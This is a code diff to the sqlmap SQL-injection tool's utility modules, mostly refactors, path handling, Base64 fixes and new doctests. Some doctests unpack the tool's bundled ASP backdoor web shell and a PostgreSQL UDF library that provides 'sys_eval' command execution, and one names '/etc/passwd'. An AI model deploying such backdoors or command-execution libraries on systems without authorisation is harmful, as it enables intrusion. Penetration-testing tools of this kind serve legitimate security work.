def dataToOutFile(filename, data):
|
||||||
|
"""
|
||||||
|
Saves data to filename
|
||||||
|
|
||||||
|
>>> pushValue(conf.get("filePath"))
|
||||||
|
>>> conf.filePath = tempfile.gettempdir()
|
||||||
|
>>> "_etc_passwd" in dataToOutFile("/etc/passwd", b":::*")
|
||||||
|
True
|
||||||
|
>>> conf.filePath = popValue()
|
||||||
|
"""
|
||||||
|
|
||||||
retVal = None
|
retVal = None
|
||||||
|
|
||||||
if data:
|
if data:
|
||||||
@@ -1213,9 +1239,9 @@ def randomStr(length=4, lowercase=False, alphabet=None, seed=None):
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
if seed is not None:
|
if seed is not None:
|
||||||
_ = getCurrentThreadData().random
|
_random = getCurrentThreadData().random
|
||||||
_.seed(seed)
|
_random.seed(seed)
|
||||||
choice = _.choice
|
choice = _random.choice
|
||||||
else:
|
else:
|
||||||
choice = random.choice
|
choice = random.choice
|
||||||
|
|
||||||
@@ -1247,10 +1273,12 @@ def getHeader(headers, key):
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = None
|
retVal = None
|
||||||
for _ in (headers or {}):
|
|
||||||
if _.upper() == key.upper():
|
for header in (headers or {}):
|
||||||
retVal = headers[_]
|
if header.upper() == key.upper():
|
||||||
|
retVal = headers[header]
|
||||||
break
|
break
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def checkPipedInput():
|
def checkPipedInput():
|
||||||
@@ -1259,7 +1287,7 @@ def checkPipedInput():
|
|||||||
# Reference: https://stackoverflow.com/a/33873570
|
# Reference: https://stackoverflow.com/a/33873570
|
||||||
"""
|
"""
|
||||||
|
|
||||||
return not os.isatty(sys.stdin.fileno()) if hasattr(sys.stdin, "fileno") else False
|
return hasattr(sys.stdin, "fileno") and not os.isatty(sys.stdin.fileno())
|
||||||
|
|
||||||
def isZipFile(filename):
|
def isZipFile(filename):
|
||||||
"""
|
"""
|
||||||
@@ -1331,7 +1359,7 @@ def banner():
|
|||||||
if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
|
if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
|
||||||
result = BANNER
|
result = BANNER
|
||||||
|
|
||||||
if not IS_TTY or "--disable-coloring" in sys.argv:
|
if not IS_TTY or any(_ in sys.argv for _ in ("--disable-coloring", "--disable-colouring")):
|
||||||
result = clearColors(result)
|
result = clearColors(result)
|
||||||
elif IS_WIN:
|
elif IS_WIN:
|
||||||
coloramainit()
|
coloramainit()
|
||||||
@@ -1349,9 +1377,9 @@ def parsePasswordHash(password):
|
|||||||
>>> kb.forcedDbms = popValue()
|
>>> kb.forcedDbms = popValue()
|
||||||
"""
|
"""
|
||||||
|
|
||||||
blank = " " * 8
|
blank = ' ' * 8
|
||||||
|
|
||||||
if isNoneValue(password) or password == " ":
|
if isNoneValue(password) or password == ' ':
|
||||||
retVal = NULL
|
retVal = NULL
|
||||||
else:
|
else:
|
||||||
retVal = password
|
retVal = password
|
||||||
@@ -1431,6 +1459,7 @@ def setPaths(rootPath):
|
|||||||
checkFile(path)
|
checkFile(path)
|
||||||
|
|
||||||
if IS_WIN:
|
if IS_WIN:
|
||||||
|
# Reference: https://pureinfotech.com/list-environment-variables-windows-10/
|
||||||
if os.getenv("LOCALAPPDATA"):
|
if os.getenv("LOCALAPPDATA"):
|
||||||
paths.SQLMAP_HOME_PATH = os.path.expandvars("%LOCALAPPDATA%\\sqlmap")
|
paths.SQLMAP_HOME_PATH = os.path.expandvars("%LOCALAPPDATA%\\sqlmap")
|
||||||
elif os.getenv("USERPROFILE"):
|
elif os.getenv("USERPROFILE"):
|
||||||
@@ -1440,11 +1469,17 @@ def setPaths(rootPath):
|
|||||||
else:
|
else:
|
||||||
paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap")
|
paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap")
|
||||||
|
|
||||||
|
if not os.path.isdir(paths.SQLMAP_HOME_PATH):
|
||||||
|
if "XDG_DATA_HOME" in os.environ:
|
||||||
|
paths.SQLMAP_HOME_PATH = os.path.join(os.environ["XDG_DATA_HOME"], "sqlmap")
|
||||||
|
else:
|
||||||
|
paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".local", "share", "sqlmap")
|
||||||
|
|
||||||
paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(paths.SQLMAP_HOME_PATH, "output")), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
|
paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(paths.SQLMAP_HOME_PATH, "output")), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
|
||||||
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
||||||
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
|
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
|
||||||
|
|
||||||
# history files
|
# History files
|
||||||
paths.SQLMAP_HISTORY_PATH = getUnicode(os.path.join(paths.SQLMAP_HOME_PATH, "history"), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
|
paths.SQLMAP_HISTORY_PATH = getUnicode(os.path.join(paths.SQLMAP_HOME_PATH, "history"), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
|
||||||
paths.API_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "api.hst")
|
paths.API_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "api.hst")
|
||||||
paths.OS_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "os.hst")
|
paths.OS_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "os.hst")
|
||||||
@@ -1488,7 +1523,7 @@ def parseTargetDirect():
|
|||||||
if details:
|
if details:
|
||||||
conf.dbms = details.group("dbms")
|
conf.dbms = details.group("dbms")
|
||||||
|
|
||||||
if details.group('credentials'):
|
if details.group("credentials"):
|
||||||
conf.dbmsUser = details.group("user")
|
conf.dbmsUser = details.group("user")
|
||||||
conf.dbmsPass = details.group("pass")
|
conf.dbmsPass = details.group("pass")
|
||||||
else:
|
else:
|
||||||
@@ -1600,8 +1635,8 @@ def parseTargetUrl():
|
|||||||
|
|
||||||
originalUrl = conf.url
|
originalUrl = conf.url
|
||||||
|
|
||||||
if re.search(r"\[.+\]", conf.url) and not socket.has_ipv6:
|
if re.search(r"://\[.+\]", conf.url) and not socket.has_ipv6:
|
||||||
errMsg = "IPv6 addressing is not supported "
|
errMsg = "IPv6 communication is not supported "
|
||||||
errMsg += "on this platform"
|
errMsg += "on this platform"
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|
||||||
@@ -1658,7 +1693,7 @@ def parseTargetUrl():
|
|||||||
conf.port = 80
|
conf.port = 80
|
||||||
|
|
||||||
if conf.port < 1 or conf.port > 65535:
|
if conf.port < 1 or conf.port > 65535:
|
||||||
errMsg = "invalid target URL's port (%d)" % conf.port
|
errMsg = "invalid target URL port (%d)" % conf.port
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path))
|
conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path))
|
||||||
@@ -1690,6 +1725,11 @@ def escapeJsonValue(value):
|
|||||||
Escapes JSON value (used in payloads)
|
Escapes JSON value (used in payloads)
|
||||||
|
|
||||||
# Reference: https://stackoverflow.com/a/16652683
|
# Reference: https://stackoverflow.com/a/16652683
|
||||||
|
|
||||||
|
>>> "\\n" in escapeJsonValue("foo\\nbar")
|
||||||
|
False
|
||||||
|
>>> "\\\\t" in escapeJsonValue("foo\\tbar")
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = ""
|
retVal = ""
|
||||||
@@ -1709,7 +1749,7 @@ def expandAsteriskForColumns(expression):
|
|||||||
the SQL query string (expression)
|
the SQL query string (expression)
|
||||||
"""
|
"""
|
||||||
|
|
||||||
match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression)
|
match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+((`[^`]+`|[^\s]+)+)", expression)
|
||||||
|
|
||||||
if match:
|
if match:
|
||||||
infoMsg = "you did not provide the fields in your query. "
|
infoMsg = "you did not provide the fields in your query. "
|
||||||
@@ -1864,6 +1904,12 @@ def getLocalIP():
|
|||||||
def getRemoteIP():
|
def getRemoteIP():
|
||||||
"""
|
"""
|
||||||
Get remote/target IP address
|
Get remote/target IP address
|
||||||
|
|
||||||
|
>>> pushValue(conf.hostname)
|
||||||
|
>>> conf.hostname = "localhost"
|
||||||
|
>>> getRemoteIP() == "127.0.0.1"
|
||||||
|
True
|
||||||
|
>>> conf.hostname = popValue()
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = None
|
retVal = None
|
||||||
@@ -1990,6 +2036,9 @@ def normalizePath(filepath):
|
|||||||
def safeFilepathEncode(filepath):
|
def safeFilepathEncode(filepath):
|
||||||
"""
|
"""
|
||||||
Returns filepath in (ASCII) format acceptable for OS handling (e.g. reading)
|
Returns filepath in (ASCII) format acceptable for OS handling (e.g. reading)
|
||||||
|
|
||||||
|
>>> 'sqlmap' in safeFilepathEncode(paths.SQLMAP_HOME_PATH)
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = filepath
|
retVal = filepath
|
||||||
@@ -2022,6 +2071,8 @@ def safeStringFormat(format_, params):
|
|||||||
|
|
||||||
>>> safeStringFormat('SELECT foo FROM %s LIMIT %d', ('bar', '1'))
|
>>> safeStringFormat('SELECT foo FROM %s LIMIT %d', ('bar', '1'))
|
||||||
'SELECT foo FROM bar LIMIT 1'
|
'SELECT foo FROM bar LIMIT 1'
|
||||||
|
>>> safeStringFormat("SELECT foo FROM %s WHERE name LIKE '%susan%' LIMIT %d", ('bar', '1'))
|
||||||
|
"SELECT foo FROM bar WHERE name LIKE '%susan%' LIMIT 1"
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if format_.count(PAYLOAD_DELIMITER) == 2:
|
if format_.count(PAYLOAD_DELIMITER) == 2:
|
||||||
@@ -2065,7 +2116,10 @@ def safeStringFormat(format_, params):
|
|||||||
warnMsg += "Please report by e-mail content \"%r | %r | %r\" to '%s'" % (format_, params, retVal, DEV_EMAIL_ADDRESS)
|
warnMsg += "Please report by e-mail content \"%r | %r | %r\" to '%s'" % (format_, params, retVal, DEV_EMAIL_ADDRESS)
|
||||||
raise SqlmapValueException(warnMsg)
|
raise SqlmapValueException(warnMsg)
|
||||||
else:
|
else:
|
||||||
retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1)
|
try:
|
||||||
|
retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1)
|
||||||
|
except re.error:
|
||||||
|
retVal = retVal.replace(match.group(0), match.group(0) % params[count], 1)
|
||||||
count += 1
|
count += 1
|
||||||
else:
|
else:
|
||||||
break
|
break
|
||||||
@@ -2196,6 +2250,15 @@ def isHexEncodedString(subject):
|
|||||||
def isMultiThreadMode():
|
def isMultiThreadMode():
|
||||||
"""
|
"""
|
||||||
Checks if running in multi-thread(ing) mode
|
Checks if running in multi-thread(ing) mode
|
||||||
|
|
||||||
|
>>> isMultiThreadMode()
|
||||||
|
False
|
||||||
|
>>> _ = lambda: time.sleep(0.1)
|
||||||
|
>>> thread = threading.Thread(target=_)
|
||||||
|
>>> thread.daemon = True
|
||||||
|
>>> thread.start()
|
||||||
|
>>> isMultiThreadMode()
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
return threading.activeCount() > 1
|
return threading.activeCount() > 1
|
||||||
@@ -2204,6 +2267,9 @@ def isMultiThreadMode():
|
|||||||
def getConsoleWidth(default=80):
|
def getConsoleWidth(default=80):
|
||||||
"""
|
"""
|
||||||
Returns console width
|
Returns console width
|
||||||
|
|
||||||
|
>>> any((getConsoleWidth(), True))
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
width = None
|
width = None
|
||||||
@@ -2410,6 +2476,9 @@ def initCommonOutputs():
|
|||||||
def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
|
def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
|
||||||
"""
|
"""
|
||||||
Returns newline delimited items contained inside file
|
Returns newline delimited items contained inside file
|
||||||
|
|
||||||
|
>>> "SELECT" in getFileItems(paths.SQL_KEYWORDS)
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = list() if not unique else OrderedDict()
|
retVal = list() if not unique else OrderedDict()
|
||||||
@@ -2516,8 +2585,8 @@ def goGoodSamaritan(prevValue, originalCharset):
|
|||||||
|
|
||||||
def getPartRun(alias=True):
|
def getPartRun(alias=True):
|
||||||
"""
|
"""
|
||||||
Goes through call stack and finds constructs matching conf.dbmsHandler.*.
|
Goes through call stack and finds constructs matching
|
||||||
Returns it or its alias used in 'txt/common-outputs.txt'
|
conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = None
|
retVal = None
|
||||||
@@ -2843,6 +2912,8 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
|
|||||||
result = None if value is None else ""
|
result = None if value is None else ""
|
||||||
|
|
||||||
if value:
|
if value:
|
||||||
|
value = re.sub(r"\b[$\w]+=", lambda match: match.group(0).replace('$', DOLLAR_MARKER), value)
|
||||||
|
|
||||||
if Backend.isDbms(DBMS.MSSQL) and not kb.tamperFunctions and any(ord(_) > 255 for _ in value):
|
if Backend.isDbms(DBMS.MSSQL) and not kb.tamperFunctions and any(ord(_) > 255 for _ in value):
|
||||||
warnMsg = "if you experience problems with "
|
warnMsg = "if you experience problems with "
|
||||||
warnMsg += "non-ASCII identifier names "
|
warnMsg += "non-ASCII identifier names "
|
||||||
@@ -2877,6 +2948,8 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
|
|||||||
if spaceplus:
|
if spaceplus:
|
||||||
result = result.replace(_urllib.parse.quote(' '), '+')
|
result = result.replace(_urllib.parse.quote(' '), '+')
|
||||||
|
|
||||||
|
result = result.replace(DOLLAR_MARKER, '$')
|
||||||
|
|
||||||
return result
|
return result
|
||||||
|
|
||||||
def runningAsAdmin():
|
def runningAsAdmin():
|
||||||
@@ -3253,7 +3326,7 @@ def parseSqliteTableSchema(value):
|
|||||||
Parses table column names and types from specified SQLite table schema
|
Parses table column names and types from specified SQLite table schema
|
||||||
|
|
||||||
>>> kb.data.cachedColumns = {}
|
>>> kb.data.cachedColumns = {}
|
||||||
>>> parseSqliteTableSchema("CREATE TABLE users\\n\\t\\tid INTEGER\\n\\t\\tname TEXT\\n);")
|
>>> parseSqliteTableSchema("CREATE TABLE users(\\n\\t\\tid INTEGER,\\n\\t\\tname TEXT\\n);")
|
||||||
True
|
True
|
||||||
>>> repr(kb.data.cachedColumns).count(',') == 1
|
>>> repr(kb.data.cachedColumns).count(',') == 1
|
||||||
True
|
True
|
||||||
@@ -3265,9 +3338,9 @@ def parseSqliteTableSchema(value):
|
|||||||
table = {}
|
table = {}
|
||||||
columns = {}
|
columns = {}
|
||||||
|
|
||||||
for match in re.finditer(r"(\w+)[\"'`]?\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b", decodeStringEscape(value), re.I):
|
for match in re.finditer(r"[(,]\s*[\"'`]?(\w+)[\"'`]?(?:\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b)?", decodeStringEscape(value), re.I):
|
||||||
retVal = True
|
retVal = True
|
||||||
columns[match.group(1)] = match.group(2)
|
columns[match.group(1)] = match.group(2) or "TEXT"
|
||||||
|
|
||||||
table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns
|
table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns
|
||||||
kb.data.cachedColumns[conf.db] = table
|
kb.data.cachedColumns[conf.db] = table
|
||||||
@@ -3364,7 +3437,7 @@ def setOptimize():
|
|||||||
|
|
||||||
# conf.predictOutput = True
|
# conf.predictOutput = True
|
||||||
conf.keepAlive = True
|
conf.keepAlive = True
|
||||||
conf.threads = 3 if conf.threads < 3 else conf.threads
|
conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads
|
||||||
conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
|
conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
|
||||||
|
|
||||||
if not conf.nullConnection:
|
if not conf.nullConnection:
|
||||||
@@ -3541,7 +3614,7 @@ def isListLike(value):
|
|||||||
False
|
False
|
||||||
"""
|
"""
|
||||||
|
|
||||||
return isinstance(value, (list, tuple, set, BigArray))
|
return isinstance(value, (list, tuple, set, OrderedSet, BigArray))
|
||||||
|
|
||||||
def getSortedInjectionTests():
|
def getSortedInjectionTests():
|
||||||
"""
|
"""
|
||||||
@@ -4101,24 +4174,25 @@ def safeSQLIdentificatorNaming(name, isTable=False):
|
|||||||
|
|
||||||
# Note: SQL 92 has restrictions for identifiers starting with underscore (e.g. http://www.frontbase.com/documentation/FBUsers_4.pdf)
|
# Note: SQL 92 has restrictions for identifiers starting with underscore (e.g. http://www.frontbase.com/documentation/FBUsers_4.pdf)
|
||||||
if retVal.upper() in kb.keywords or (not isTable and (retVal or " ")[0] == '_') or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
|
if retVal.upper() in kb.keywords or (not isTable and (retVal or " ")[0] == '_') or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
|
||||||
retVal = unsafeSQLIdentificatorNaming(retVal)
|
if not conf.noEscape:
|
||||||
|
retVal = unsafeSQLIdentificatorNaming(retVal)
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
|
||||||
retVal = "`%s`" % retVal
|
retVal = "`%s`" % retVal
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
|
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
|
||||||
retVal = "\"%s\"" % retVal
|
retVal = "\"%s\"" % retVal
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||||
retVal = "\"%s\"" % retVal.upper()
|
retVal = "\"%s\"" % retVal.upper()
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
if isTable:
|
if isTable:
|
||||||
parts = retVal.split('.', 1)
|
parts = retVal.split('.', 1)
|
||||||
for i in xrange(len(parts)):
|
for i in xrange(len(parts)):
|
||||||
if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords):
|
if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords):
|
||||||
parts[i] = "[%s]" % parts[i]
|
parts[i] = "[%s]" % parts[i]
|
||||||
retVal = '.'.join(parts)
|
retVal = '.'.join(parts)
|
||||||
else:
|
else:
|
||||||
if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords:
|
if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords:
|
||||||
retVal = "[%s]" % retVal
|
retVal = "[%s]" % retVal
|
||||||
|
|
||||||
if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
|
if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
|
||||||
retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal)
|
retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal)
|
||||||
@@ -4705,7 +4779,7 @@ def serializeObject(object_):
|
|||||||
"""
|
"""
|
||||||
Serializes given object
|
Serializes given object
|
||||||
|
|
||||||
>>> type(serializeObject([1, 2, 3, ('a', 'b')])) == six.binary_type
|
>>> type(serializeObject([1, 2, 3, ('a', 'b')])) == str
|
||||||
True
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -4935,6 +5009,14 @@ def decloakToTemp(filename):
|
|||||||
>>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
|
>>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
|
||||||
True
|
True
|
||||||
>>> os.remove(_)
|
>>> os.remove(_)
|
||||||
|
>>> _ = decloakToTemp(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.asp_"))
|
||||||
|
>>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
|
||||||
|
True
|
||||||
|
>>> os.remove(_)
|
||||||
|
>>> _ = decloakToTemp(os.path.join(paths.SQLMAP_UDF_PATH, "postgresql", "linux", "64", "11", "lib_postgresqludf_sys.so_"))
|
||||||
|
>>> b'sys_eval' in openFile(_, "rb", encoding=None).read()
|
||||||
|
True
|
||||||
|
>>> os.remove(_)
|
||||||
"""
|
"""
|
||||||
|
|
||||||
content = decloak(filename)
|
content = decloak(filename)
|
||||||
@@ -4968,6 +5050,12 @@ def getRequestHeader(request, name):
|
|||||||
Solving an issue with an urllib2 Request header case sensitivity
|
Solving an issue with an urllib2 Request header case sensitivity
|
||||||
|
|
||||||
# Reference: http://bugs.python.org/issue2275
|
# Reference: http://bugs.python.org/issue2275
|
||||||
|
|
||||||
|
>>> _ = lambda _: _
|
||||||
|
>>> _.headers = {"FOO": "BAR"}
|
||||||
|
>>> _.header_items = lambda: _.headers.items()
|
||||||
|
>>> getText(getRequestHeader(_, "foo"))
|
||||||
|
'BAR'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = None
|
retVal = None
|
||||||
@@ -5065,6 +5153,13 @@ def pollProcess(process, suppress_errors=False):
|
|||||||
def parseRequestFile(reqFile, checkParams=True):
|
def parseRequestFile(reqFile, checkParams=True):
|
||||||
"""
|
"""
|
||||||
Parses WebScarab and Burp logs and adds results to the target URL list
|
Parses WebScarab and Burp logs and adds results to the target URL list
|
||||||
|
|
||||||
|
>>> handle, reqFile = tempfile.mkstemp(suffix=".req")
|
||||||
|
>>> content = b"POST / HTTP/1.0\\nUser-agent: foobar\\nHost: www.example.com\\n\\nid=1\\n"
|
||||||
|
>>> _ = os.write(handle, content)
|
||||||
|
>>> os.close(handle)
|
||||||
|
>>> next(parseRequestFile(reqFile)) == ('http://www.example.com:80/', 'POST', 'id=1', None, (('User-agent', 'foobar'), ('Host', 'www.example.com')))
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def _parseWebScarabLog(content):
|
def _parseWebScarabLog(content):
|
||||||
@@ -5207,7 +5302,7 @@ def parseRequestFile(reqFile, checkParams=True):
|
|||||||
params = True
|
params = True
|
||||||
|
|
||||||
# Avoid proxy and connection type related headers
|
# Avoid proxy and connection type related headers
|
||||||
elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION):
|
elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION, HTTP_HEADER.IF_MODIFIED_SINCE, HTTP_HEADER.IF_NONE_MATCH):
|
||||||
headers.append((getUnicode(key), getUnicode(value)))
|
headers.append((getUnicode(key), getUnicode(value)))
|
||||||
|
|
||||||
if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):
|
if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):
|
||||||
|
|||||||
+54
-7
@@ -48,16 +48,16 @@ def base64pickle(value):
|
|||||||
retVal = None
|
retVal = None
|
||||||
|
|
||||||
try:
|
try:
|
||||||
retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL))
|
retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL), binary=False)
|
||||||
except:
|
except:
|
||||||
warnMsg = "problem occurred while serializing "
|
warnMsg = "problem occurred while serializing "
|
||||||
warnMsg += "instance of a type '%s'" % type(value)
|
warnMsg += "instance of a type '%s'" % type(value)
|
||||||
singleTimeWarnMessage(warnMsg)
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
retVal = encodeBase64(pickle.dumps(value))
|
retVal = encodeBase64(pickle.dumps(value), binary=False)
|
||||||
except:
|
except:
|
||||||
retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL))
|
retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL), binary=False)
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
@@ -198,8 +198,32 @@ def decodeBase64(value, binary=True, encoding=None):
|
|||||||
True
|
True
|
||||||
>>> decodeBase64("MTIz", binary=False)
|
>>> decodeBase64("MTIz", binary=False)
|
||||||
'123'
|
'123'
|
||||||
|
>>> decodeBase64("A-B_CDE") == decodeBase64("A+B/CDE")
|
||||||
|
True
|
||||||
|
>>> decodeBase64(b"MTIzNA") == b"1234"
|
||||||
|
True
|
||||||
|
>>> decodeBase64("MTIzNA") == b"1234"
|
||||||
|
True
|
||||||
|
>>> decodeBase64("MTIzNA==") == b"1234"
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
if value is None:
|
||||||
|
return None
|
||||||
|
|
||||||
|
padding = b'=' if isinstance(value, bytes) else '='
|
||||||
|
|
||||||
|
# Reference: https://stackoverflow.com/a/49459036
|
||||||
|
if not value.endswith(padding):
|
||||||
|
value += 3 * padding
|
||||||
|
|
||||||
|
# Reference: https://en.wikipedia.org/wiki/Base64#URL_applications
|
||||||
|
# Reference: https://perldoc.perl.org/MIME/Base64.html
|
||||||
|
if isinstance(value, bytes):
|
||||||
|
value = value.replace(b'-', b'+').replace(b'_', b'/')
|
||||||
|
else:
|
||||||
|
value = value.replace('-', '+').replace('_', '/')
|
||||||
|
|
||||||
retVal = base64.b64decode(value)
|
retVal = base64.b64decode(value)
|
||||||
|
|
||||||
if not binary:
|
if not binary:
|
||||||
@@ -207,16 +231,23 @@ def decodeBase64(value, binary=True, encoding=None):
|
|||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def encodeBase64(value, binary=True, encoding=None):
|
def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False):
|
||||||
"""
|
"""
|
||||||
Returns a decoded representation of provided Base64 value
|
Returns a decoded representation of provided Base64 value
|
||||||
|
|
||||||
>>> encodeBase64(b"123") == b"MTIz"
|
